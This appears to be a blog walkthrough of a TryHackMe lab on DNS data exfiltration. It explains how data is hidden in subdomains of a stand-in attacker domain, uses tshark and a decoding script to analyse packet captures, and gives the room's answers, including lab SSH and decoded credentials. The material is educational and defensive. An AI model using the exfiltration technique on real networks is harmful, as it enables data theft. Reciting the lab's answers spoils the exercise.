> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe DNS Manipulation Walkthrough: DNS Data Exfiltration
- URL: https://taiwanding.com/en/tryhackme-dns-manipulation-writeup/
- Published: 2025-10-07T08:34:14.000Z
- Updated: 2026-07-15T02:49:54.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

## **Room Info**

- **Platform**: TryHackMe
- **Difficulty**: Easy
- **Room link**: https://tryhackme.com/room/dnsmanipulation
- Note: For the Infiltration part, I ran into some issues, so I referenced someone else's writeup.

```bash
nslookup -type=txt code.badbaddoma.in
Server:         10.201.0.2
Address:        10.201.0.2#53

** server can't find code.badbaddoma.in: NXDOMAIN
```

[\[THM\] DNS Manipulation (Manipulating DNS to Exfiltrate Data) - Study Notes - Hekeatsll - CnblogsTryHackMe room link for this article: https://tryhackme.com/room/dnsmanipulation. What this article covers: an introduction to several DNS-based data exfiltration techniques, including data exfiltration and data infiltration. Introduction: In this article, we examine the DNS service and take a brief look at some techniques used to exfiltrate and infiltrate data against a target machine. First, we![](https://taiwanding.com/content/images/icon/favicon_v3_2.ico)CnblogsHekeatsll![](https://taiwanding.com/content/images/thumbnail/logo.svg)](https://www.cnblogs.com/Hekeats-L/p/17610419.html?ref=taiwanding.com)

## **Environment Setup**

### **Connecting to the Target Machine**

```bash
ssh user@10.201.43.141
# password: P@ssword01

```

### **Tool Preparation**

```bash
# The required tools are pre-installed on the target machine
cd ~/dns-exfil-infil/
ls -la

# Main tools
packety.py          # DNS exfiltration sender
packetyGrabber.py   # DNS exfiltration receiver / decoder tool

```

## **Theory**

### **How DNS Exfiltration Works**

DNS data exfiltration abuses DNS queries to smuggle data out:

```
Normal DNS query:
google.com → look up IP

Malicious DNS query (data exfiltration):
[encoded data].attacker.com → embed data into the subdomain

```

### **Why does it work?**

```
✅ DNS is an essential service and can't simply be blocked
✅ Port 53 is usually allowed
✅ It blends in with normal traffic and is hard to detect
✅ It can encode large amounts of data

```

## **Challenge 1: orderlist**

### **Goal**

Decode the order data that was exfiltrated.

### **Step 1: Read the Task**

```bash
cd ~/challenges/exfiltration/orderlist/
cat TASK

```

### **Step 2: Analyze the DNS Queries**

```bash
# View all DNS queries
tshark -r order.pcap -T fields -e dns.qry.name

# Count and sort them
tshark -r order.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

```

**Suspicious domain found:**

```
badbaddoma.in

Tons of random subdomains:
├─ uggjU4KyhVyWxVwUo6opxqj.badbaddoma.in
├─ u1YfpFPK9dUeX31JdGGdzpm.badbaddoma.in
└─ ... (and more)

```

### **Step 3: Decode the Data**

```bash
python3 ~/dns-exfil-infil/packetyGrabber.py

# Input:
File captured: order.pcap
Filename output: decoded.txt
Domain Name: badbaddoma.in

```

### **Step 4: View the Decoded Result**

```bash
cat decoded.txt

```

**Output:**

```
DATE    ORDER-ID        TRANSACTION     PRICE      CODE
01-06      1            Network Equip.  $2349.99    -
01-09      2            Software Licen. $1293.49    -
01-11      3            Physical Secur. $7432.79    -
02-06      4            SENT TO #1056.. $15040.23   -
02-06      5            1M THM VOUCHER  $10        zSiSeC
02-06      6            Firewall        $2500

```

### **Answers**

1. **Transaction name of ORDER-ID 1**: `Network Equip.`
2. **Price of the Firewall**: `2500`

## **Challenge 2: identify**

### **Goal**

Out of three pcap files, find the one that contains suspicious DNS queries.

### **Step 1: Read the Task**

```bash
cd ~/challenges/exfiltration/identify/
cat TASK
ls -la

```

**Available files:**

```
cap1.pcap
cap2.pcap
cap3.pcap

```

### **Step 2: Analyze Each File**

```bash
# Check cap1.pcap
tshark -r cap1.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

# Check cap2.pcap
tshark -r cap2.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

# Check cap3.pcap
tshark -r cap3.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

```

**Finding:**

```
cap3.pcap contains a large number of badbaddoma.in queries
└─ Same random-subdomain pattern as orderlist

```

### **Step 3: Decode cap3.pcap**

```bash
python3 ~/dns-exfil-infil/packetyGrabber.py

# Input:
File captured: cap3.pcap
Filename output: decoded2.txt
Domain Name: badbaddoma.in

```

### **Step 4: View the Result**

```bash
cat decoded2.txt

```

**Output:**

```
administrator:s3cre7P@ssword

```

### **Answers**

1. **File containing the suspicious DNS queries**: `cap3.pcap`
2. **Decoded plaintext**: `administrator:s3cre7P@ssword`

## **Technical Summary**

### **How packetyGrabber.py Works**

```
Step 1: Extract DNS queries from the .pcap
└─ Filter for queries to the specified domain

Step 2: Extract the subdomain
└─ uggjU4KyhVyWxVwUo6opxqj.badbaddoma.in
    └───────┬────────┘
        encoded data

Step 3: Strip the obfuscation characters
└─ Fake characters at the front and back need to be removed

Step 4: Base58 decode
└─ Recover the Base64 string

Step 5: Base64 decode
└─ Recover the original data

Step 6: Write to a file

```

## Lessons Learned

### **About packetyGrabber.py**

- **Author**: kleosdc
- **Source**: https://github.com/kleosdc/dns-exfil-infil
- **Purpose**: An educational DNS exfiltration decoding tool
- **Features**:
  - Extracts DNS queries from a pcap
  - Double Base58/Base64 decoding
  - Automatically reassembles split data

**Note**: The Exception at the end is normal and can be ignored.